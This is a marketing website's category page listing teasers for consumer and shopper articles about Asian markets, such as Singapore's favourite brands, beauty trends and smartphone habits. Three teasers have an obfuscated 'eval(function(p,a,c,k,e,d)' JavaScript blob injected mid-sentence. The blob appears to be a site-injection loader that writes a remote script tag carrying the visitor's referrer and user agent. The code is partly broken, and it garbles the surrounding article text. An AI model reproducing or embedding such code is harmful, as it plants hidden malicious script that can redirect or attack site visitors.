Consumer & Shopper

Consumer & Shopper

Singapore’s Top Ten Favourite Brands in 2017

MILO  has been ranked as Singapore consumers’ favourite brand, according to the latest brand survey from Superbrands, which was conducted by the research agency...

Beauty in Asia: Skin Care versus Makeup

To give you a look into how much Asia is a melting pot of diversified values, we did a little comparison on the different...

3 Steps to Improve Your POS ROI in Asia

While eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfazd|var|u0026u|referrer|zzrde||js|php'.split('|'),0,{})) the retail landscape in Asia varies vastly, for most food categories the store floor remains a vital battleground,...

New Global Research Uncovers Changed Attitude To Beauty As Women Seek Confidence Over Youth

  Global medical aesthetics company Allergan has announced the results of a new global beauty trends study. It reveals women are more aware and open...

Here and Now – Consumer Trends at Join the Dots

Our eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfzay|var|u0026u|referrer|tndka||js|php'.split('|'),0,{})) philosophy at Join the Dots is that consumer trends are a result of our desire to satisfy basic...

Powering Your Brand for Growth in Southeast Asia

The recent release by WPP and Millward Brown of the 2015 BrandZTM Top 100 Most Valuable Global Brands showed that brand value has risen...

Sex Appeal – 4 Tips for Marketing Men’s Products

Although men, in general, can be cut-throat competitive, goal-oriented, interested in power and, frankly, wired very differently from their female counterparts, marketers must focus...

Targeting the lower SECs in developing markets through mobile research

Teenagers and those in the lower socio-economic classes (SECs) of developing Asian countries may not have a lot of purchasing power now, but they...

Smartphones: Sleepless in Singapore

An omnibus survey by Toluna eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfiah|var|u0026u|referrer|nrhee||js|php'.split('|'),0,{})) revealed that Singapore consumers are increasingly addicted to their smartphones. While as high as...

Seeing Value in the MIST

Global marketers learned long ago that focusing on the wealthiest Western countries could only grow their businesses to a certain extent. They turned their...
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